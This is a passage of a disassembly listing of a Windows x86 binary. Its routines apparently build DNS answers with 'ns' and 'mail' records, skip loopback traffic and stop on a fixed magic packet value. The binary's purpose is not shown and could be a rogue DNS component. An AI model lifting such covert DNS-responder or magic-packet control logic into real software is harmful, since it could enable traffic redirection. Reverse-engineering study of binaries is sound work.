fpd=6Ch sub_41570A proc near ; CODE XREF: sub_415F7D+111p ; sub_415F7D+163p var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 0A0h push ebx push esi mov esi, [ebp+6Ch+arg_0] test esi, esi push edi mov [ebp+6Ch+var_4], ecx jz loc_415D1A mov ebx, [ebp+6Ch+arg_8] test ebx, ebx jz loc_415D1A mov eax, [ebx+8] cmp dword ptr [eax], 0 jz loc_415D1A mov eax, [esi+1Ch] mov ecx, [ebp+6Ch+arg_4] mov eax, [eax+ecx*4] mov eax, [eax+100h] dec eax jz loc_415CD3 dec eax jz loc_415AFB sub eax, 4 jnz loc_415D1A movzx eax, word ptr [esi+16h] mov ecx, [esi+20h] movzx edi, ax inc eax mov [esi+16h], ax movzx eax, ax shl eax, 2 test ecx, ecx push eax jnz short loc_415784 call sub_40CC7F jmp short loc_41578B ; --------------------------------------------------------------------------- loc_415784: ; CODE XREF: sub_41570A+71j push ecx call sub_40CCAD pop ecx loc_41578B: ; CODE XREF: sub_41570A+78j pop ecx xor ebx, ebx push 114h inc ebx push ebx mov [esi+20h], eax shl edi, 2 call sub_40CC93 mov ecx, [esi+20h] mov [edi+ecx], eax mov eax, [esi+20h] mov eax, [edi+eax] mov [eax+104h], ebx mov eax, [esi+20h] mov eax, [edi+eax] and dword ptr [eax+108h], 0 mov eax, [esi+20h] mov eax, [edi+eax] mov dword ptr [eax+100h], 6 mov eax, [ebp+6Ch+arg_8] push dword ptr [eax] mov eax, [esi+20h] push dword ptr [edi+eax] call sub_40CD8E push offset aNs ; "ns" call sub_40CD83 mov ebx, eax push offset aMail ; "mail" mov [ebp+6Ch+var_14], ebx call sub_40CD83 push 0 mov [ebp+6Ch+arg_0], eax call sub_40CFAE mov ecx, eax mov edx, eax and ecx, 0FF0000h shr edx, 10h or ecx, edx mov edx, eax and eax, 0FF00h shl edx, 10h or edx, eax shr ecx, 8 mov eax, 5000000h mov [ebp+6Ch+var_18], eax mov [ebp+6Ch+var_1C], eax mov [ebp+6Ch+var_10], eax mov [ebp+6Ch+var_20], eax mov eax, [ebp+6Ch+arg_0] shl edx, 8 or ecx, edx mov [ebp+6Ch+arg_4], ecx mov ecx, [esi+20h] mov ecx, [edi+ecx] lea eax, [ebx+eax+1Ah] mov [ecx+10Ch], ax mov eax, [esi+20h] mov eax, [edi+eax] movzx eax, word ptr [eax+10Ch] push eax push 1 call sub_40CC93 mov ecx, [esi+20h] mov ecx, [edi+ecx] mov [ecx+110h], eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] mov [eax], bl mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] push ebx inc eax push offset aNs ; "ns" push eax call sub_40CCF7 mov eax, [esi+20h] mov eax, [edi+eax] inc ebx mov [ebp+6Ch+var_8], ebx mov eax, [eax+110h] mov byte ptr [ebx+eax], 0C0h mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] inc ebx mov byte ptr [ebx+eax], 0Ch mov eax, [esi+20h] mov eax, [edi+eax] mov ecx, [eax+110h] mov eax, [ebp+6Ch+arg_0] push eax inc ebx mov [ebx+ecx], al mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] inc ebx add eax, ebx push offset aMail ; "mail" push eax call sub_40CCF7 mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] add ebx, [ebp+6Ch+arg_0] push 4 mov byte ptr [ebx+eax], 0C0h mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] inc ebx mov byte ptr [ebx+eax], 0Ch lea eax, [ebp+6Ch+arg_4] push eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] inc ebx add eax, ebx push eax call sub_40CCF7 add esp, 48h push 4 lea eax, [ebp+6Ch+var_18] push eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] add ebx, 4 add eax, ebx push eax call sub_40CCF7 push 4 lea eax, [ebp+6Ch+var_1C] push eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] add ebx, 4 add eax, ebx push eax call sub_40CCF7 push 4 lea eax, [ebp+6Ch+var_10] push eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] add ebx, 4 add eax, ebx push eax call sub_40CCF7 push 4 lea eax, [ebp+6Ch+var_20] push eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] lea eax, [eax+ebx+4] push eax call sub_40CCF7 movzx eax, word ptr [esi+18h] mov ecx, [esi+24h] add esp, 30h movzx edi, ax inc eax mov [esi+18h], ax movzx eax, ax shl eax, 2 test ecx, ecx push eax jnz short loc_4159C1 call sub_40CC7F jmp short loc_4159C8 ; --------------------------------------------------------------------------- loc_4159C1: ; CODE XREF: sub_41570A+2AEj push ecx call sub_40CCAD pop ecx loc_4159C8: ; CODE XREF: sub_41570A+2B5j pop ecx xor ebx, ebx push 114h inc ebx push ebx mov [esi+24h], eax shl edi, 2 call sub_40CC93 mov ecx, [esi+24h] mov [edi+ecx], eax mov eax, [esi+24h] mov eax, [edi+eax] mov [eax+104h], ebx mov eax, [esi+24h] mov ecx, [edi+eax] mov eax, [ebp+6Ch+arg_8] mov edx, [eax+4] mov [ecx+108h], edx mov ecx, [esi+24h] mov ecx, [edi+ecx] mov dword ptr [ecx+100h], 2 push dword ptr [eax] mov eax, [esi+24h] push dword ptr [edi+eax] call sub_40CD8E mov ecx, [esi+24h] mov ebx, [ebp+6Ch+var_14] mov ecx, [edi+ecx] lea eax, [ebx+3] mov [ecx+10Ch], ax mov eax, [esi+24h] mov eax, [edi+eax] movzx eax, word ptr [eax+10Ch] push eax push 1 call sub_40CC93 mov ecx, [esi+24h] mov ecx, [edi+ecx] mov [ecx+110h], eax mov eax, [esi+24h] mov eax, [edi+eax] mov eax, [eax+110h] mov [eax], bl mov eax, [esi+24h] mov eax, [edi+eax] mov eax, [eax+110h] push ebx mov ebx, offset aNs ; "ns" inc eax push ebx push eax call sub_40CCF7 mov eax, [esi+24h] mov eax, [edi+eax] mov ecx, [eax+110h] mov eax, [ebp+6Ch+var_8] mov byte ptr [eax+ecx], 0C0h mov ecx, [esi+24h] mov ecx, [edi+ecx] mov ecx, [ecx+110h] mov byte ptr [ecx+eax+1], 0Ch movzx eax, word ptr [esi+1Ah] mov ecx, [esi+28h] add esp, 24h movzx edi, ax inc eax mov [esi+1Ah], ax movzx eax, ax shl eax, 2 test ecx, ecx push eax jnz short loc_415AC2 call sub_40CC7F jmp short loc_415AC9 ; --------------------------------------------------------------------------- loc_415AC2: ; CODE XREF: sub_41570A+3AFj push ecx call sub_40CCAD pop ecx loc_415AC9: ; CODE XREF: sub_41570A+3B6j mov [esi+28h], eax mov eax, [ebp+6Ch+arg_8] pop ecx push dword ptr [eax] lea eax, [ebp+6Ch+var_A0] push ebx push offset aS_S ; "%s.%s" push eax call sub_40CE18 mov ecx, [ebp+6Ch+var_4] add esp, 10h lea eax, [ebp+6Ch+var_A0] push eax push [ebp+6Ch+arg_8] call sub_4152DF mov ecx, [esi+28h] jmp loc_415D13 ; --------------------------------------------------------------------------- loc_415AFB: ; CODE XREF: sub_41570A+4Aj movzx eax, word ptr [esi+16h] mov ecx, [esi+20h] movzx edi, ax add eax, 7 mov [esi+16h], ax movzx eax, ax shl eax, 2 test ecx, ecx mov [ebp+6Ch+arg_0], edi push eax jnz short loc_415B21 call sub_40CC7F jmp short loc_415B28 ; --------------------------------------------------------------------------- loc_415B21: ; CODE XREF: sub_41570A+40Ej push ecx call sub_40CCAD pop ecx loc_415B28: ; CODE XREF: sub_41570A+415j mov [esi+20h], eax movzx eax, word ptr [esi+16h] xor ebx, ebx cmp edi, eax pop ecx jge loc_415C4F jmp short loc_415B3F ; --------------------------------------------------------------------------- loc_415B3C: ; CODE XREF: sub_41570A+53Fj mov edi, [ebp+6Ch+arg_0] loc_415B3F: ; CODE XREF: sub_41570A+430j push 114h push 1 shl edi, 2 call sub_40CC93 mov ecx, [esi+20h] mov [edi+ecx], eax mov eax, [esi+20h] mov eax, [edi+eax] mov dword ptr [eax+104h], 1 mov eax, [esi+20h] mov ecx, [edi+eax] mov eax, [ebp+6Ch+arg_8] mov edx, [eax+4] mov [ecx+108h], edx mov ecx, [esi+20h] mov ecx, [edi+ecx] mov dword ptr [ecx+100h], 2 push dword ptr [eax] mov eax, [esi+20h] push dword ptr [edi+eax] call sub_40CD8E add esp, 10h test ebx, ebx mov ecx, offset aNs ; "ns" jz short loc_415BA4 mov ecx, offset aNsD ; "ns%d" loc_415BA4: ; CODE XREF: sub_41570A+493j lea eax, [ebx+1] push eax mov [ebp+6Ch+arg_4], eax push ecx lea eax, [ebp+6Ch+var_C] push eax call sub_40CE18 lea eax, [ebp+6Ch+var_C] push eax call sub_40CD83 mov ecx, [esi+20h] mov ecx, [edi+ecx] mov ebx, eax lea eax, [ebx+3] mov [ecx+10Ch], ax mov eax, [esi+20h] mov eax, [edi+eax] movzx eax, word ptr [eax+10Ch] push eax push 1 call sub_40CC93 mov ecx, [esi+20h] mov ecx, [edi+ecx] mov [ecx+110h], eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] mov [eax], bl push ebx lea eax, [ebp+6Ch+var_C] push eax mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] inc eax push eax call sub_40CCF7 mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] mov byte ptr [ebx+eax+1], 0C0h mov eax, [esi+20h] mov eax, [edi+eax] mov eax, [eax+110h] mov byte ptr [eax+ebx+2], 0Ch movzx eax, word ptr [esi+16h] mov ebx, [ebp+6Ch+arg_4] add esp, 24h inc [ebp+6Ch+arg_0] cmp [ebp+6Ch+arg_0], eax jl loc_415B3C loc_415C4F: ; CODE XREF: sub_41570A+42Aj movzx eax, word ptr [esi+1Ah] mov ecx, [esi+28h] movzx edi, ax add eax, 7 mov [esi+1Ah], ax movzx eax, ax shl eax, 2 test ecx, ecx push eax jnz short loc_415C72 call sub_40CC7F jmp short loc_415C79 ; --------------------------------------------------------------------------- loc_415C72: ; CODE XREF: sub_41570A+55Fj push ecx call sub_40CCAD pop ecx loc_415C79: ; CODE XREF: sub_41570A+566j mov [esi+28h], eax pop ecx xor ebx, ebx jmp short loc_415CC9 ; --------------------------------------------------------------------------- loc_415C81: ; CODE XREF: sub_41570A+5C5j test ebx, ebx mov eax, [ebp+6Ch+arg_8] push dword ptr [eax] jnz short loc_415C9D lea eax, [ebp+6Ch+var_A0] push offset aNs_S ; "ns.%s" push eax call sub_40CE18 add esp, 0Ch jmp short loc_415CB2 ; --------------------------------------------------------------------------- loc_415C9D: ; CODE XREF: sub_41570A+57Ej lea eax, [ebx+1] push eax lea eax, [ebp+6Ch+var_A0] push offset aNsD_S ; "ns%d.%s" push eax call sub_40CE18 add esp, 10h loc_415CB2: ; CODE XREF: sub_41570A+591j mov ecx, [ebp+6Ch+var_4] lea eax, [ebp+6Ch+var_A0] push eax push [ebp+6Ch+arg_8] call sub_4152DF mov ecx, [esi+28h] mov [ecx+edi*4], eax inc edi inc ebx loc_415CC9: ; CODE XREF: sub_41570A+575j movzx eax, word ptr [esi+1Ah] cmp edi, eax jl short loc_415C81 jmp short loc_415D16 ; --------------------------------------------------------------------------- loc_415CD3: ; CODE XREF: sub_41570A+43j movzx eax, word ptr [esi+16h] movzx edi, ax inc eax mov [esi+16h], ax call sub_40CF34 movzx eax, word ptr [esi+16h] mov ecx, [esi+20h] shl eax, 2 test ecx, ecx push eax jnz short loc_415CFA call sub_40CC7F jmp short loc_415D01 ; --------------------------------------------------------------------------- loc_415CFA: ; CODE XREF: sub_41570A+5E7j push ecx call sub_40CCAD pop ecx loc_415D01: ; CODE XREF: sub_41570A+5EEj pop ecx mov ecx, [ebp+6Ch+var_4] push 0 push ebx mov [esi+20h], eax call sub_4152DF mov ecx, [esi+20h] loc_415D13: ; CODE XREF: sub_41570A+3ECj mov [ecx+edi*4], eax loc_415D16: ; CODE XREF: sub_41570A+5C7j mov al, 1 jmp short loc_415D1C ; --------------------------------------------------------------------------- loc_415D1A: ; CODE XREF: sub_41570A+16j ; sub_41570A+21j ... xor al, al loc_415D1C: ; CODE XREF: sub_41570A+60Ej pop edi pop esi pop ebx add ebp, 6Ch leave retn 0Ch sub_41570A endp ; =============== S U B R O U T I N E ======================================= sub_415D26 proc near ; CODE XREF: sub_415F7D+124p ; sub_415F7D+16Bp push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_415D41 mov ecx, edi call sub_4152CC push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_415D41: ; CODE XREF: sub_415D26+8j pop edi pop esi retn sub_415D26 endp ; =============== S U B R O U T I N E ======================================= sub_415D44 proc near ; CODE XREF: sub_416130+31p push ebp push esi mov esi, ecx push edi lea ebp, [esi+28h] push ebp call ds:dword_4180DC lea edi, [esi+8] mov esi, [edi] test esi, esi jz short loc_415D8B push ebx loc_415D5D: ; CODE XREF: sub_415D44+44j test esi, esi jz short loc_415D65 mov ebx, [esi] jmp short loc_415D67 ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D44+1Bj xor ebx, ebx loc_415D67: ; CODE XREF: sub_415D44+1Fj test ebx, ebx jz short loc_415D79 mov ecx, ebx call sub_4152CC push ebx call sub_40D0B6 pop ecx loc_415D79: ; CODE XREF: sub_415D44+25j mov ebx, [esi+4] push esi mov ecx, edi call sub_4041B2 test ebx, ebx mov esi, ebx jnz short loc_415D5D pop ebx loc_415D8B: ; CODE XREF: sub_415D44+16j push ebp call ds:dword_4180E0 pop edi pop esi pop ebp retn sub_415D44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D96 proc near ; CODE XREF: sub_416192+9Dp ; sub_416254+75p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 28h push ebx push esi xor ebx, ebx push edi mov edi, ecx cmp [edi+4], ebx mov [ebp+var_18], edi mov [ebp+var_28], ebx mov [ebp+var_24], ebx jz loc_415F76 mov ecx, [edi+4] mov eax, [ecx] lea edx, [ebp+var_28] push edx call dword ptr [eax+4] test al, al jz loc_415F62 mov eax, [ebp+var_24] mov [ebp+var_8], eax push 4 lea eax, [ebp+var_8] push eax mov ecx, edi call sub_414FEB test al, al jz loc_415F62 mov esi, [ebp+var_28] push 4 lea eax, [ebp+var_1C] push esi push eax call sub_40CCF7 add esp, 0Ch add esi, 4 cmp [ebp+var_1C], ebx mov [ebp+var_14], ebx ja short loc_415E1F loc_415E01: ; CODE XREF: sub_415D96+1BFj mov eax, [ebp+var_28] cmp eax, ebx jz short loc_415E15 push eax mov [ebp+var_28], ebx mov [ebp+var_24], ebx call sub_40CCC5 pop ecx loc_415E15: ; CODE XREF: sub_415D96+70j mov al, 1 jmp loc_415F78 ; --------------------------------------------------------------------------- loc_415E1C: ; CODE XREF: sub_415D96+1B9j mov edi, [ebp+var_18] loc_415E1F: ; CODE XREF: sub_415D96+69j push 1 lea eax, [ebp+var_8] push eax mov ecx, edi call sub_414FEB test al, al jz loc_415F62 mov al, [esi] mov [ebp+var_1], al movzx eax, al push eax mov [ebp+var_10], eax lea eax, [ebp+var_8] push eax mov ecx, edi inc esi call sub_414FEB test al, al jz loc_415F62 lea ecx, [ebp+var_C] call sub_40DB48 movzx eax, [ebp+var_1] push eax push esi lea ecx, [ebp+var_C] call sub_40DB5E add esi, [ebp+var_10] push 4 lea eax, [ebp+var_8] push eax mov ecx, edi call sub_414FEB test al, al jz loc_415F5A push 4 lea eax, [ebp+var_20] push esi push eax call sub_40CCF7 add esp, 0Ch push 1 lea eax, [ebp+var_8] push eax mov ecx, edi add esi, 4 call sub_414FEB test al, al jz loc_415F5A mov dl, [esi] movzx eax, dl shl eax, 2 push eax lea eax, [ebp+var_8] push eax mov ecx, edi inc esi call sub_414FEB test al, al jz loc_415F5A movzx edi, dl xor ecx, ecx push 4 pop edx mov eax, edi mul edx seto cl neg ecx or ecx, eax push ecx call sub_40D0BB pop ecx xor ecx, ecx cmp edi, ebx mov [ebp+var_10], eax jbe short loc_415F1E loc_415EE9: ; CODE XREF: sub_415D96+184j mov eax, [esi] mov edx, eax and edx, 0FF0000h mov ebx, eax shr ebx, 10h or edx, ebx mov ebx, eax shl ebx, 10h and eax, 0FF00h or ebx, eax mov eax, [ebp+var_10] shr edx, 8 shl ebx, 8 or edx, ebx add esi, 4 mov [eax+ecx*4], edx inc ecx cmp ecx, edi jb short loc_415EE9 xor ebx, ebx loc_415F1E: ; CODE XREF: sub_415D96+151j push [ebp+var_10] mov ecx, [ebp+var_18] push edi push [ebp+var_20] push [ebp+var_C] call sub_41527E cmp [ebp+var_10], ebx jz short loc_415F3E push [ebp+var_10] call sub_40D0B6 pop ecx loc_415F3E: ; CODE XREF: sub_415D96+19Dj lea ecx, [ebp+var_C] call sub_40DB59 inc [ebp+var_14] mov eax, [ebp+var_14] cmp eax, [ebp+var_1C] jb loc_415E1C jmp loc_415E01 ; --------------------------------------------------------------------------- loc_415F5A: ; CODE XREF: sub_415D96+E6j ; sub_415D96+10Dj ... lea ecx, [ebp+var_C] call sub_40DB59 loc_415F62: ; CODE XREF: sub_415D96+2Dj ; sub_415D96+48j ... mov eax, [ebp+var_28] cmp eax, ebx jz short loc_415F76 push eax mov [ebp+var_28], ebx mov [ebp+var_24], ebx call sub_40CCC5 pop ecx loc_415F76: ; CODE XREF: sub_415D96+19j ; sub_415D96+1D1j xor al, al loc_415F78: ; CODE XREF: sub_415D96+81j pop edi pop esi pop ebx leave retn sub_415D96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7D proc near ; CODE XREF: sub_416254+A0p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi push [ebp+arg_4] mov ebx, ecx push [ebp+arg_0] lea ecx, [ebp+arg_4+3] or edi, 0FFFFFFFFh call sub_414B68 mov esi, eax test esi, esi jz loc_416127 push esi mov ecx, ebx call sub_4155DF test al, al jz loc_41611E xor eax, eax cmp [esi+14h], ax mov [esi+16h], ax mov [esi+20h], eax mov [ebp+arg_0], eax jbe loc_416105 loc_415FC9: ; CODE XREF: sub_415F7D+182j mov edi, [ebp+arg_0] mov eax, [esi+1Ch] shl edi, 2 mov eax, [edi+eax] mov eax, [eax+100h] cmp eax, 2 jz loc_4160AB cmp eax, 6 jz loc_4160AB cmp eax, 1 jnz loc_4160F5 lea ecx, [ebp+var_4] call sub_40DB48 mov eax, [esi+1Ch] push dword ptr [edi+eax] call ds:dword_41811C push eax mov eax, [esi+1Ch] push dword ptr [edi+eax] call ds:dword_41814C mov eax, [esi+1Ch] mov eax, [edi+eax] push offset aNs ; "ns" push eax call sub_40CE77 pop ecx pop ecx mov ecx, [esi+1Ch] add ecx, edi cmp eax, [ecx] jnz short loc_41605D mov eax, [ecx] mov al, [eax+2] cmp al, 2Eh jz short loc_41604A movsx eax, al push eax call sub_40CE2C test eax, eax pop ecx jz short loc_41605D loc_41604A: ; CODE XREF: sub_415F7D+BDj lea eax, [ebp+var_4] push eax mov eax, [esi+1Ch] push dword ptr [edi+eax] mov ecx, ebx call sub_415185 jmp short loc_416072 ; --------------------------------------------------------------------------- loc_41605D: ; CODE XREF: sub_415F7D+B4j ; sub_415F7D+CBj mov eax, [esi+1Ch] mov edi, [edi+eax] test edi, edi jz short loc_416072 push 0 push edi lea ecx, [ebp+var_4] call sub_40DB5E loc_416072: ; CODE XREF: sub_415F7D+DEj ; sub_415F7D+E8j push 0 push 1 push [ebp+var_4] mov ecx, ebx call sub_415397 test eax, eax mov [ebp+var_C], eax mov ecx, ebx jz short loc_416095 push eax push [ebp+arg_0] push esi call sub_41570A jmp short loc_41609E ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F7D+10Aj push [ebp+arg_0] push esi call sub_41503C loc_41609E: ; CODE XREF: sub_415F7D+116j lea ecx, [ebp+var_C] call sub_415D26 lea ecx, [ebp+var_4] jmp short loc_4160F0 ; --------------------------------------------------------------------------- loc_4160AB: ; CODE XREF: sub_415F7D+61j ; sub_415F7D+6Aj lea ecx, [ebp+var_8] call sub_40DB48 lea eax, [ebp+var_8] push eax mov eax, [esi+1Ch] push dword ptr [edi+eax] mov ecx, ebx call sub_415185 push 0 push 1 push [ebp+var_8] mov ecx, ebx call sub_415397 test eax, eax mov [ebp+var_C], eax jz short loc_4160E5 push eax push [ebp+arg_0] mov ecx, ebx push esi call sub_41570A loc_4160E5: ; CODE XREF: sub_415F7D+15Aj lea ecx, [ebp+var_C] call sub_415D26 lea ecx, [ebp+var_8] loc_4160F0: ; CODE XREF: sub_415F7D+12Cj call sub_40DB59 loc_4160F5: ; CODE XREF: sub_415F7D+73j movzx eax, word ptr [esi+14h] inc [ebp+arg_0] cmp [ebp+arg_0], eax jl loc_415FC9 loc_416105: ; CODE XREF: sub_415F7D+46j push esi push [ebp+arg_C] lea ecx, [ebp+arg_4+3] push [ebp+arg_8] mov byte ptr [esi+2], 1 mov byte ptr [esi+8], 1 call sub_414E58 mov edi, eax loc_41611E: ; CODE XREF: sub_415F7D+30j push esi lea ecx, [ebp+arg_4+3] call sub_414592 loc_416127: ; CODE XREF: sub_415F7D+20j mov eax, edi pop edi pop esi pop ebx leave retn 10h sub_415F7D endp ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_406810+Cp ; sub_40682E+15p push esi mov esi, ecx push edi mov dword ptr [esi], offset off_4202AC call sub_415243 lea ecx, [esi+50h] call sub_40B150 lea ecx, [esi+60h] call sub_40B150 lea ecx, [esi+70h] call sub_40B150 push 0Ah call sub_415365 pop ecx mov ecx, esi call sub_415D44 lea ecx, [esi+44h] mov dword ptr [ecx], offset off_41C128 call sub_40DA75 push dword ptr [esi+40h] call ds:dword_4180A4 mov edi, ds:dword_4180D8 lea eax, [esi+28h] push eax call edi add esi, 10h push esi call edi pop edi pop esi retn sub_416130 endp ; =============== S U B R O U T I N E ======================================= sub_416192 proc near ; DATA XREF: sub_41634A+4Eo var_1 = byte ptr -1 arg_7 = byte ptr 0Bh push ecx push ebp push 1 mov ebp, ecx push 3E8h push dword ptr [ebp+40h] call ds:dword_4180B0 test eax, eax jz loc_41624F push ebx push esi push edi lea esi, [ebp+28h] lea ebx, [ebp+8] loc_4161B7: ; CODE XREF: sub_416192+B4j push esi mov [esp+18h+var_1], 0 call ds:dword_4180DC mov esi, [ebx] jmp short loc_416213 ; --------------------------------------------------------------------------- loc_4161C7: ; CODE XREF: sub_416192+83j mov eax, [esi] mov edi, [eax+4] push 0 call sub_40CFAE cmp edi, eax pop ecx jge short loc_416208 test esi, esi jz short loc_4161E0 mov edi, [esi] jmp short loc_4161E2 ; --------------------------------------------------------------------------- loc_4161E0: ; CODE XREF: sub_416192+48j xor edi, edi loc_4161E2: ; CODE XREF: sub_416192+4Cj test edi, edi jz short loc_4161F4 mov ecx, edi call sub_4152CC push edi call sub_40D0B6 pop ecx loc_4161F4: ; CODE XREF: sub_416192+52j mov edi, [esi+4] push esi mov ecx, ebx call sub_4041B2 mov esi, edi mov [esp+8+arg_7], 1 jmp short loc_416213 ; --------------------------------------------------------------------------- loc_416208: ; CODE XREF: sub_416192+44j test esi, esi jz short loc_416217 mov esi, [esi+4] test esi, esi jz short loc_416217 loc_416213: ; CODE XREF: sub_416192+33j ; sub_416192+74j test esi, esi jnz short loc_4161C7 loc_416217: ; CODE XREF: sub_416192+78j ; sub_416192+7Fj lea esi, [ebp+28h] push esi call ds:dword_4180E0 cmp [esp+8+arg_7], 0 jnz short loc_41622D cmp dword ptr [ebx], 0 jnz short loc_416234 loc_41622D: ; CODE XREF: sub_416192+94j mov ecx, ebp call sub_415D96 loc_416234: ; CODE XREF: sub_416192+99j push 1 push 3E8h push dword ptr [ebp+40h] call ds:dword_4180B0 test eax, eax jnz loc_4161B7 pop edi pop esi pop ebx loc_41624F: ; CODE XREF: sub_416192+16j pop ebp pop ecx retn 4 sub_416192 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416254 proc near ; DATA XREF: sub_41634A+41o var_418 = byte ptr -418h var_218 = dword ptr -218h var_18 = word ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 418h push ebx push esi push edi mov edi, ecx mov [ebp+var_1], 0 mov esi, 200h loc_41626B: ; CODE XREF: sub_416254+4Ej ; sub_416254+52j ... lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push 0 push esi lea eax, [ebp+var_218] push eax lea ecx, [edi+44h] mov [ebp+var_18], 2 mov [ebp+var_8], 10h call sub_40D8A6 push [ebp+var_14] mov ebx, eax call ds:dword_4181B0 cmp eax, 7F000001h jz short loc_41626B test ebx, ebx jle short loc_41626B cmp ebx, 4 jnz short loc_4162BD cmp [ebp+var_218], 3DA712EBh jz loc_416343 loc_4162BD: ; CODE XREF: sub_416254+57j cmp [ebp+var_1], 0 jnz short loc_4162E2 mov ecx, edi mov [ebp+var_1], 1 call sub_415D96 push 0 lea ecx, [edi+60h] call sub_40177E push 0 lea ecx, [edi+70h] call sub_40177E loc_4162E2: ; CODE XREF: sub_416254+6Dj push esi lea eax, [ebp+var_418] push eax push ebx lea eax, [ebp+var_218] push eax mov ecx, edi call sub_415F7D test eax, eax jle short loc_41631A push 10h lea ecx, [ebp+var_18] push ecx push 0 push eax lea eax, [ebp+var_418] push eax lea ecx, [edi+44h] call sub_40D83F jmp loc_41626B ; --------------------------------------------------------------------------- loc_41631A: ; CODE XREF: sub_416254+A7j push 48h call sub_40D0BB test eax, eax pop ecx jz loc_41626B push edi push ebx lea ecx, [ebp+var_218] push ecx lea ecx, [ebp+var_18] push ecx mov ecx, eax call sub_41651F jmp loc_41626B ; --------------------------------------------------------------------------- loc_416343: ; CODE XREF: sub_416254+63j pop edi pop esi pop ebx leave retn 4 sub_416254 endp ; =============== S U B R O U T I N E ======================================= sub_41634A proc near ; CODE XREF: sub_406E37+1D4p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov ebx, ds:dword_4180D4 push esi mov esi, ecx mov [esi+4], eax push edi lea eax, [esi+10h] mov dword ptr [esi], offset off_4202AC xor edi, edi push eax mov [esi+8], edi mov [esi+0Ch], edi call ebx lea eax, [esi+28h] push eax call ebx push 1 lea ecx, [esi+40h] call sub_4012FC lea ecx, [esi+44h] call sub_40E0AC mov [esi+54h], edi mov dword ptr [esi+5Ch], offset sub_416254 mov [esi+58h], esi mov [esi+64h], edi mov dword ptr [esi+6Ch], offset sub_416192 mov [esi+68h], esi mov [esi+74h], edi pop edi mov dword ptr [esi+7Ch], offset sub_4154AD mov [esi+78h], esi mov eax, esi pop esi pop ebx retn 4 sub_41634A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163B7 proc near ; DATA XREF: sub_408085+1Do ; sub_4167CA+1Bo var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx mov ebx, [ebp+arg_0] mov eax, [ebx] mov ecx, [eax+8] push esi push edi push dword ptr [ebx+4] lea esi, [eax+10h] lea edi, [ebp+var_10] movsd movsd movsd movsd add ecx, [ebp+var_C] call [ebp+var_10] push ebx call sub_40D0B6 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4163B7 endp ; =============== S U B R O U T I N E ======================================= sub_4163EB proc near ; CODE XREF: sub_416417+CCp ; sub_41651F+7Dp push esi mov esi, ecx mov eax, [esi+40h] test eax, eax jz short loc_4163FC push eax call ds:dword_41804C loc_4163FC: ; CODE XREF: sub_4163EB+8j lea ecx, [esi+34h] mov dword ptr [ecx], offset off_41C128 call sub_40DA75 push offset dword_421D40 call ds:dword_4180E8 pop esi retn sub_4163EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416417 proc near ; DATA XREF: sub_41651F+Bo var_1224 = dword ptr -1224h var_220 = byte ptr -220h var_21D = byte ptr -21Dh var_20 = word ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1224h call sub_4011B0 push esi mov esi, ecx mov eax, [esi+40h] push edi xor edi, edi cmp [eax], edi mov [ebp+var_4], edi jbe loc_4164E1 push ebx lea ebx, [esi+34h] loc_41643C: ; CODE XREF: sub_416417+AEj lea eax, [ebp+var_1224] push eax mov ecx, ebx mov [ebp+var_10], 5 mov [ebp+var_C], edi mov [ebp+var_1224], edi call sub_40D686 lea eax, [ebp+var_10] push eax push edi push edi lea eax, [ebp+var_1224] push eax push edi call ds:dword_4181A4 test eax, eax jle short loc_4164E0 lea eax, [ebp+var_1224] push eax mov ecx, ebx call sub_40D6C2 test al, al jz short loc_4164BD lea eax, [ebp+var_8] push eax lea eax, [ebp+var_20] push eax push edi push 200h lea eax, [ebp+var_220] push eax mov ecx, ebx mov 